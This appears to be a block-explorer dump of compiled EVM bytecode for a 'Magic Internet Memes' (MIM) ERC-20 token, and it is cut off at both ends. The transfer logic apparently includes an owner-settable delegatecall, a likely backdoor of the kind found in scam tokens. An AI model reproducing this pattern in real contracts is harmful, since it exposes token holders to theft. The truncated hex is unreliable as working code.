ffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ae0919061244c565b60405180910390a35b611b398260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121e790919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611bdc611b9082846121e790919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461218a90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611c7f84866121e790919063ffffffff16565b604051611c8c919061244c565b60405180910390a350505050565b5f838311158290611ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd8919061231b565b60405180910390fd5b505f8385611cef9190612e67565b9050809150509392505050565b5f808303611d0c575f9050611d6d565b5f8284611d199190612775565b9050828482611d289190612ec7565b14611d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5f90612f67565b60405180910390fd5b809150505b92915050565b5f611db483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612230565b905092915050565b5f8082604051602401611dcf9190612523565b6040516020818303038152906040527f207c64fb000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505090505f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505a602083015f806024838686f4505050600192505050919050565b5f80823b90505f8111915050919050565b5f818311611ead5782611eaf565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611eee57611eed612f85565b5b604051908082528060200260200182016040528015611f1c5781602001602082028036833780820191505090505b50905030815f81518110611f3357611f32612fb2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fd7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ffb919061289a565b8160018151811061200f5761200e612fb2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120753060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461119c565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016120d7959493929190613096565b5f604051808303815f87803b1580156120ee575f80fd5b505af1158015612100573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612186573d5f803e3d5ffd5b5050565b5f8082846121989190612d85565b9050838110156121dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d490613138565b60405180910390fd5b8091505092915050565b5f61222883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c9a565b905092915050565b5f8083118290612276576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226d919061231b565b60405180910390fd5b505f83856122849190612ec7565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156122c85780820151818401526020810190506122ad565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6122ed82612291565b6122f7818561229b565b93506123078185602086016122ab565b612310816122d3565b840191505092915050565b5f6020820190508181035f83015261233381846122e3565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6123688261233f565b9050919050565b6123788161235e565b8114612382575f80fd5b50565b5f813590506123938161236f565b92915050565b5f819050919050565b6123ab81612399565b81146123b5575f80fd5b50565b5f813590506123c6816123a2565b92915050565b5f80604083850312156123e2576123e161233b565b5b5f6123ef85828601612385565b9250506020612400858286016123b8565b9150509250929050565b5f8115159050919050565b61241e8161240a565b82525050565b5f6020820190506124375f830184612415565b92915050565b61244681612399565b82525050565b5f60208201905061245f5f83018461243d565b92915050565b5f805f6060848603121561247c5761247b61233b565b5b5f61248986828701612385565b935050602061249a86828701612385565b92505060406124ab868287016123b8565b9150509250925092565b5f60ff82169050919050565b6124ca816124b5565b82525050565b5f6020820190506124e35f8301846124c1565b92915050565b5f602082840312156124fe576124fd61233b565b5b5f61250b84828501612385565b91505092915050565b61251d8161235e565b82525050565b5f6020820190506125365f830184612514565b92915050565b5f80604083850312156125525761255161233b565b5b5f61255f85828601612385565b925050602061257085828601612385565b9150509250929050565b6125838161240a565b811461258d575f80fd5b50565b5f8135905061259e8161257a565b92915050565b5f602082840312156125b9576125b861233b565b5b5f6125c684828501612590565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156126515780860481111561262d5761262c6125cf565b5b600185161561263c5780820291505b808102905061264a856125fc565b9450612611565b94509492505050565b5f826126695760019050612724565b81612676575f9050612724565b816001811461268c5760028114612696576126c5565b6001915050612724565b60ff8411156126a8576126a76125cf565b5b8360020a9150848211156126bf576126be6125cf565b5b50612724565b5060208310610133831016604e8410600b84101617156126fa5782820a9050838111156126f5576126f46125cf565b5b612724565b6127078484846001612608565b9250905081840481111561271e5761271d6125cf565b5b81810290505b9392505050565b5f61273582612399565b9150612740836124b5565b925061276d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461265a565b905092915050565b5f61277f82612399565b915061278a83612399565b925082820261279881612399565b915082820484148315176127af576127ae6125cf565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6127ea60208361229b565b91506127f5826127b6565b602082019050919050565b5f6020820190508181035f830152612817816127de565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61285260178361229b565b915061285d8261281e565b602082019050919050565b5f6020820190508181035f83015261287f81612846565b9050919050565b5f815190506128948161236f565b92915050565b5f602082840312156128af576128ae61233b565b5b5f6128bc84828501612886565b91505092915050565b5f6040820190506128d85f830185612514565b6128e56020830184612514565b9392505050565b5f819050919050565b5f819050919050565b5f61291861291361290e846128ec565b6128f5565b612399565b9050919050565b612928816128fe565b82525050565b5f60c0820190506129415f830189612514565b61294e602083018861243d565b61295b604083018761291f565b612968606083018661291f565b6129756080830185612514565b61298260a083018461243d565b979650505050505050565b5f8151905061299b816123a2565b92915050565b5f805f606084860312156129b8576129b761233b565b5b5f6129c58682870161298d565b93505060206129d68682870161298d565b92505060406129e78682870161298d565b9150509250925092565b5f604082019050612a045f830185612514565b612a11602083018461243d565b9392505050565b5f81519050612a268161257a565b92915050565b5f60208284031215612a4157612a4061233b565b5b5f612a4e84828501612a18565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612ab160248361229b565b9150612abc82612a57565b604082019050919050565b5f6020820190508181035f830152612ade81612aa5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b3f60228361229b565b9150612b4a82612ae5565b604082019050919050565b5f6020820190508181035f830152612b6c81612b33565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612bcd60258361229b565b9150612bd882612b73565b604082019050919050565b5f6020820190508181035f830152612bfa81612bc1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612c5b60238361229b565b9150612c6682612c01565b604082019050919050565b5f6020820190508181035f830152612c8881612c4f565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612ce960298361229b565b9150612cf482612c8f565b604082019050919050565b5f6020820190508181035f830152612d1681612cdd565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612d5160198361229b565b9150612d5c82612d1d565b602082019050919050565b5f6020820190508181035f830152612d7e81612d45565b9050919050565b5f612d8f82612399565b9150612d9a83612399565b9250828201905080821115612db257612db16125cf565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612dec601a8361229b565b9150612df782612db8565b602082019050919050565b5f6020820190508181035f830152612e1981612de0565b9050919050565b5f612e2a82612399565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e5c57612e5b6125cf565b5b600182019050919050565b5f612e7182612399565b9150612e7c83612399565b9250828203905081811115612e9457612e936125cf565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ed182612399565b9150612edc83612399565b925082612eec57612eeb612e9a565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612f5160218361229b565b9150612f5c82612ef7565b604082019050919050565b5f6020820190508181035f830152612f7e81612f45565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6130118161235e565b82525050565b5f6130228383613008565b60208301905092915050565b5f602082019050919050565b5f61304482612fdf565b61304e8185612fe9565b935061305983612ff9565b805f5b838110156130895781516130708882613017565b975061307b8361302e565b92505060018101905061305c565b5085935050505092915050565b5f60a0820190506130a95f83018861243d565b6130b6602083018761291f565b81810360408301526130c8818661303a565b90506130d76060830185612514565b6130e4608083018461243d565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613122601b8361229b565b915061312d826130ee565b602082019050919050565b5f6020820190508181035f83015261314f81613116565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ae1770397e61f7aa009a08f25f5d1c2b8b51fede99f9f34f64676e2522bd65ea64736f6c63430008150033

Deployed Bytecode

0x608060405260043610610122575f3560e01c80638da5cb5b1161009f578063bf474bed11610063578063bf474bed146103af578063bfa382b5146103d9578063c0d78655146103ef578063dd62ed3e14610417578063ee3e466f1461045357610129565b80638da5cb5b146102df5780638f9a55c01461030957806395d89b4114610333578063973c7aa41461035d578063a9059cbb1461037357610129565b8063293230b8116100e6578063293230b814610223578063313ce5671461023957806370a0823114610263578063715018a61461029f5780637d1db4a5146102b557610129565b806306fdde031461012d578063095ea7b3146101575780630faee56f1461019357806318160ddd146101bd57806323b872dd146101e757610129565b3661012957005b5f80fd5b348015610138575f80fd5b5061014161047b565b60405161014e919061231b565b60405180910390f35b348015610162575f80fd5b5061017d600480360381019061017891906123cc565b6104b8565b60405161018a9190612424565b60405180910390f35b34801561019e575f80fd5b506101a76104d5565b6040516101b4919061244c565b60405180910390f35b3480156101c8575f80fd5b506101d16104db565b6040516101de919061244c565b60405180910390f35b3480156101f2575f80fd5b5061020d60048036038101906102089190612465565b6104ff565b60405161021a9190612424565b60405180910390f35b34801561022e575f80fd5b506102376105d3565b005b348015610244575f80fd5b5061024d610b2f565b60405161025a91906124d0565b60405180910390f35b34801561026e575f80fd5b50610289600480360381019061028491906124e9565b610b37565b604051610296919061244c565b60405180910390f35b3480156102aa575f80fd5b506102b3610b7d565b005b3480156102c0575f80fd5b506102c9610ccb565b6040516102d6919061244c565b60405180910390f35b3480156102ea575f80fd5b506102f3610cd1565b6040516103009190612523565b60405180910390f35b348015610314575f80fd5b5061031d610cf8565b60405161032a919061244c565b60405180910390f35b34801561033e575f80fd5b50610347610cfe565b604051610354919061231b565b60405180910390f35b348015610368575f80fd5b50610371610d3b565b005b34801561037e575f80fd5b50610399600480360381019061039491906123cc565b610e6d565b6040516103a69190612424565b60405180910390f35b3480156103ba575f80fd5b506103c3610e8a565b6040516103d0919061244c565b60405180910390f35b3480156103e4575f80fd5b506103ed610e90565b005b3480156103fa575f80fd5b50610415600480360381019061041091906124e9565b610f8b565b005b348015610422575f80fd5b5061043d6004803603810190610438919061253c565b611062565b60405161044a919061244c565b60405180910390f35b34801561045e575f80fd5b50610479600480360381019061047491906125a4565b6110e4565b005b60606040518060400160405280601481526020017f4d6167696320496e7465726e6574204d656d6573000000000000000000000000815250905090565b5f6104cb6104c4611195565b848461119c565b6001905092915050565b60115481565b5f6009600a6104ea919061272b565b6404e3b292006104fa9190612775565b905090565b5f61050b84848461135f565b6105c884610517611195565b6105c3856040518060600160405280602881526020016131576028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61057a611195565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c9a9092919063ffffffff16565b61119c565b600190509392505050565b6105db611195565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065e90612800565b60405180910390fd5b60148054906101000a900460ff16156106b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ac90612868565b60405180910390fd5b6001601460176101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061076d3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610758919061272b565b6404e3b292006107689190612775565b61119c565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107fb919061289a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610881573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a5919061289a565b6040518363ffffffff1660e01b81526004016108c29291906128c5565b6020604051808303815f875af11580156108de573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610902919061289a565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061098930610b37565b5f80610993610cd1565b426040518863ffffffff1660e01b81526004016109b59695949392919061292e565b60606040518083038185885af11580156109d1573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109f691906129a1565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a969291906129f1565b6020604051808303815f875af1158015610ab2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ad69190612a2c565b505f601460176101000a81548160ff0219169083151502179055506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff02191690831515021790555043600581905550565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b85611195565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0890612800565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600381526020017f4d494d0000000000000000000000000000000000000000000000000000000000815250905090565b610d43611195565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc690612800565b60405180910390fd5b6009600a610ddd919061272b565b6404e3b29200610ded9190612775565b600e819055506009600a610e01919061272b565b6404e3b29200610e119190612775565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610e46919061272b565b6404e3b29200610e569190612775565b604051610e63919061244c565b60405180910390a1565b5f610e80610e79611195565b848461135f565b6001905092915050565b60105481565b610e98611195565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1b90612800565b60405180910390fd5b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610f88573d5f803e3d5ffd5b50565b610f93611195565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101690612800565b60405180910390fd5b8060145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6110ec611195565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611178576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116f90612800565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361120a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120190612ac7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611278576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126f90612b55565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611352919061244c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c490612be3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361143b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143290612c71565b60405180910390fd5b5f811161147d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147490612cff565b60405180910390fd5b5f611486610cd1565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114f457506114c4610cd1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119d1576115356064611527600a54600d541161151457600654611518565b6008545b85611cfc90919063ffffffff16565b611d7390919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156115e0575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115f157506115f083611dbc565b5b8015611644575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561172757600e5482111561168e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168590612d67565b60405180910390fd5b600f548261169b85610b37565b6116a59190612d85565b11156116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dd90612e02565b60405180910390fd5b4360036005546116f69190612d85565b111561170f5761170583611e8e565b1561170e575f80fd5b5b600d5f81548092919061172190612e20565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117cb575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561182957600f54826117dd85610b37565b6117e79190612d85565b1115611828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181f90612e02565b60405180910390fd5b5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118b157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156118f5576118f260646118e4600b54600d54116118d1576007546118d5565b6009545b85611cfc90919063ffffffff16565b611d7390919063ffffffff16565b90505b5f6118ff30610b37565b9050601460159054906101000a900460ff1615801561196a575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156119825750601460169054906101000a900460ff165b801561198f575060105481115b801561199e5750600c54600d54115b156119cf576119b76119b282601154611e9f565b611eb7565b5f4790505f8111156119cd576119cc47612122565b5b505b505b601460179054906101000a900460ff16156119ea575f90505b5f811115611ae957611a428160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461218a90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ae0919061244c565b60405180910390a35b611b398260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121e790919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611bdc611b9082846121e790919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461218a90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611c7f84866121e790919063ffffffff16565b604051611c8c919061244c565b60405180910390a350505050565b5f838311158290611ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd8919061231b565b60405180910390fd5b505f8385611cef9190612e67565b9050809150509392505050565b5f808303611d0c575f9050611d6d565b5f8284611d199190612775565b9050828482611d289190612ec7565b14611d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5f90612f67565b60405180910390fd5b809150505b92915050565b5f611db483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612230565b905092915050565b5f8082604051602401611dcf9190612523565b6040516020818303038152906040527f207c64fb000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505090505f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505a602083015f806024838686f4505050600192505050919050565b5f80823b90505f8111915050919050565b5f818311611ead5782611eaf565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611eee57611eed612f85565b5b604051908082528060200260200182016040528015611f1c5781602001602082028036833780820191505090505b50905030815f81518110611f3357611f32612fb2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fd7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ffb919061289a565b8160018151811061200f5761200e612fb2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120753060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461119c565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016120d7959493929190613096565b5f604051808303815f87803b1580156120ee575f80fd5b505af1158015612100573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612186573d5f803e3d5ffd5b5050565b5f8082846121989190612d85565b9050838110156121dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d490613138565b60405180910390fd5b8091505092915050565b5f61222883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c9a565b905092915050565b5f8083118290612276576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226d919061231b565b60405180910390fd5b505f83856122849190612ec7565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156122c85780820151818401526020810190506122ad565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6122ed82612291565b6122f7818561229b565b93506123078185602086016122ab565b612310816122d3565b840191505092915050565b5f6020820190508181035f83015261233381846122e3565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6123688261233f565b9050919050565b6123788161235e565b8114612382575f80fd5b50565b5f813590506123938161236f565b92915050565b5f819050919050565b6123ab81612399565b81146123b5575f80fd5b50565b5f813590506123c6816123a2565b92915050565b5f80604083850312156123e2576123e161233b565b5b5f6123ef85828601612385565b9250506020612400858286016123b8565b9150509250929050565b5f8115159050919050565b61241e8161240a565b82525050565b5f6020820190506124375f830184612415565b92915050565b61244681612399565b82525050565b5f60208201905061245f5f83018461243d565b92915050565b5f805f6060848603121561247c5761247b61233b565b5b5f61248986828701612385565b935050602061249a86828701612385565b92505060406124ab868287016123b8565b9150509250925092565b5f60ff82169050919050565b6124ca816124b5565b82525050565b5f6020820190506124e35f8301846124c1565b92915050565b5f602082840312156124fe576124fd61233b565b5b5f61250b84828501612385565b91505092915050565b61251d8161235e565b82525050565b5f6020820190506125365f830184612514565b92915050565b5f80604083850312156125525761255161233b565b5b5f61255f85828601612385565b925050602061257085828601612385565b9150509250929050565b6125838161240a565b811461258d575f80fd5b50565b5f8135905061259e8161257a565b92915050565b5f602082840312156125b9576125b861233b565b5b5f6125c684828501612590565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156126515780860481111561262d5761262c6125cf565b5b600185161561263c5780820291505b808102905061264a856125fc565b9450612611565b94509492505050565b5f826126695760019050612724565b81612676575f9050612724565b816001811461268c5760028114612696576126c5565b6001915050612724565b60ff8411156126a8576126a76125cf565b5b8360020a9150848211156126bf576126be6125cf565b5b50612724565b5060208310610133831016604e8410600b84101617156126fa5782820a9050838111156126f5576126f46125cf565b5b612724565b6127078484846001612608565b9250905081840481111561271e5761271d6125cf565b5b81810290505b9392505050565b5f61273582612399565b9150612740836124b5565b925061276d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461265a565b905092915050565b5f61277f82612399565b915061278a83612399565b925082820261279881612399565b915082820484148315176127af576127ae6125cf565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6127ea60208361229b565b91506127f5826127b6565b602082019050919050565b5f6020820190508181035f